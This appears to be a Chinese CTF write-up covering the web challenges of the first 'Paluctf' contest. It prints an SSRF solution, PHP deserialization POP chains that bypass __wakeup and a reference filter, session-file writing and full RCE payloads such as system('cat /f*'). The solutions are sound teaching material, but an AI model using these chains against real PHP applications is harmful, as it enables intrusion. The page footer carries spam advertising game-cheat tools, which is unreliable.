【WP】第一届 “帕鲁杯“ - CTF挑战赛 Web 全解
创始人
2024-12-26 21:38:02
0

Web

Web-签到

考点:审计py代码

from flask import Flask, request, jsonify import requests from flag import flag  # 假设从 flag.py 文件中导入了 flag 函数 app = Flask(__name__)  @app.route('/', methods=['GET', 'POST']) def getinfo():     url = request.args.get('url')     if url:         # 请求url         response = requests.get(url)         content = response.text         print(content)         if "paluctf" in content:             return flag         else:             return content     else:         response = {             'message': 200,  # 这里是数值,不是字符串             'data': "Come sign in and get the flag!"         }         return jsonify(response) @app.route('/flag', methods=['GET', 'POST']) def flag1():     return "paluctf"  if __name__ == '__main__':     app.run(debug=True, host="0.0.0.0", port=80)
http://127.0.0.1:50258/?url=http://localhost/flag

R23 

考点:

1.采用&引用绕过_wakeup()魔术方法

2.PHP序列化中的R与r (frankli.site)

参考:PHP序列化中的R与r (frankli.site)

3.无用数据再引用绕过R:2

源代码:

b->love();     } }  class b{     public function __destruct(){         $tmp = $this->c->name;     }     public function __wakeup(){         $this->c = "no!";         $this->b = $this->a;     } }  class xk{     public function love(){        system($_GET['a']);     } }  if(preg_match('/R:2|R:3/',$_GET['pop'])){     die("no"); } unserialize($_GET['pop']);

出口函数:  xy类里面的system($_GET['a']);入口一看就是b类,__wakeup->__destruct->__get->love,越过wakeup魔术方法可采用数组模式 但没有 还可以采用&引用绕过

$s=new b(); $s->c=&$s->b; $s->a=new a(); $s->a->b=new xk(); echo serialize($s);

得到O:1:"b":3:{s:1:"b";N;s:1:"c";R:2;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}} 

if(preg_match('/R:2|R:3/',$_GET['pop'])){     die("no"); }

但是题目不能出现R:2,加个无用数据再引用会变成R:4

$s=new b(); $s->c=&$s->b; $s->a=new a(); $s->a->b=new xk(); $m=array(); $m[0]='1'; $m[1]=$s; echo serialize($m);

POC:

?pop=a:2:{i:0;s:1:"1";i:1;O:1:"b":3:{s:1:"b";N;s:1:"c";R:4;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}}&a=cat /f*

宇宙召唤 

考点:

1.不超过1KB的小马 

2.*可以截断文件名 比如1php*.png=1.php

3.添加文件头绕过

CTFhub 文件上传漏洞 靶场实战通关攻略 - FreeBuf网络安全行业门户

按照考点做就行了 

php不行 一步一步修改 

my love

考点:

1.反序列化中session利用

2. 采用&引用绕过_wakeup()魔术方法

PHP session反序列化总结 - FreeBuf网络安全行业门户

CTFweb篇-反序列化和SESSION(一)_ctf session-CSDN博客

源码 :

b->love();     } }  class b{     public function __destruct(){         $tmp = $this->c->name;     }     public function __wakeup(){         $this->c = "no!";         $this->b = $this->a;     } }  class xk{     public function love(){         $a = $this->mylove;     }     public function __get($a){         if(preg_match("/\.|\.php/",$this->man)){             die("文件名不能有.");         }         file_put_contents($this->man,base64_decode($this->woman));     } } class end{     public function love(){         ($this->func)();     } }  if(isset($_GET['pop'])) {     unserialize($_GET['pop']);     if(preg_match("/N$/",$_GET['test'])){         $tmp = $_GET['test'];     }  } else{     show_source(__FILE__);     phpinfo(); } if($$tmp['name']=='your are good!'){     echo 'ok!';     system($_GET['shell']);

根据代码发现 有两个函数出口 

file_put_contents($this->man,base64_decode($this->woman));  ($this->func)();

那我们就可以先利用第一个写入 session文件,然后利用第二个读取,从而RCE

 1.file_put_contents($this->man,base64_decode($this->woman));
b = &$m->c; $m->a = new a(); $m->a->b = new xk(); echo serialize($m);

得到如下  然后上传

O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:2:"xk":2:{s:3:"man";s:27:"/var/lib/php/session/sess_1";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}s:1:"b";N;s:1:"c";R:7;} 

2.下面读取session文件 
b = &$m->c; $m->a = new a(); $m->a->b = new end(); echo serialize($m);
O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:6;}

然后一起传参

?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:5;}&test=_SESSION&shell=cat+f*

test=_SESSION读取序列化文件数据这里要加个Cookie: PHPSESSID = 1 上面定义了文件名为1

小知识点:session的存放位置 - 三哥~! - 博客园 (cnblogs.com)

相关内容

热门资讯

第五分钟总结!中致上饶辅助(外... 第五分钟总结!中致上饶辅助(外挂)一直存在有辅助脚本(哔哩哔哩)1、实时中致上饶辅助透视辅助更新:用...
第7分钟方式!xpoker辅助... 第7分钟方式!xpoker辅助神器(外挂)原来真的是有辅助方法(哔哩哔哩)1、首先打开xpoker辅...
2分钟模板!嘟咪互动修改器免费... 2分钟模板!嘟咪互动修改器免费(外挂)果然存在有辅助神器(哔哩哔哩)1、许多玩家不知道嘟咪互动修改器...
第3分钟办法!乐酷辅助图片(外... 第3分钟办法!乐酷辅助图片(外挂)原来有辅助脚本(哔哩哔哩)1、很好的工具软件,可以解锁游戏的乐酷辅...
第6分钟方针!边锋辅助(外挂)... 第6分钟方针!边锋辅助(外挂)本来真的是有辅助攻略(哔哩哔哩)1、完成边锋辅助有辅助插件,帮助玩家取...
十分钟模板!微友约局辅助(外挂... 十分钟模板!微友约局辅助(外挂)总是真的是有辅助插件(哔哩哔哩)1、微友约局辅助免费辅助多个强度级别...
第2分钟大纲!科乐天天踢辅助视... 第2分钟大纲!科乐天天踢辅助视频(外挂)竟然有辅助工具(哔哩哔哩)1、进入到科乐天天踢辅助视频是否有...
第1分钟指引!上饶打炸攻略(外... 第1分钟指引!上饶打炸攻略(外挂)其实是真的有辅助插件(哔哩哔哩)1、每一步都需要思考,不同水平的挑...
第四分钟总结!hardrock... 第四分钟总结!hardrock透视工具(外挂)真是一直都是有辅助脚本(哔哩哔哩)1、这是跨平台的ha...
三分钟要领!芒果辅助器(外挂)... 三分钟要领!芒果辅助器(外挂)总是一直总是有辅助方法(哔哩哔哩)芒果辅助器是不是有人用挂微扑克wpk...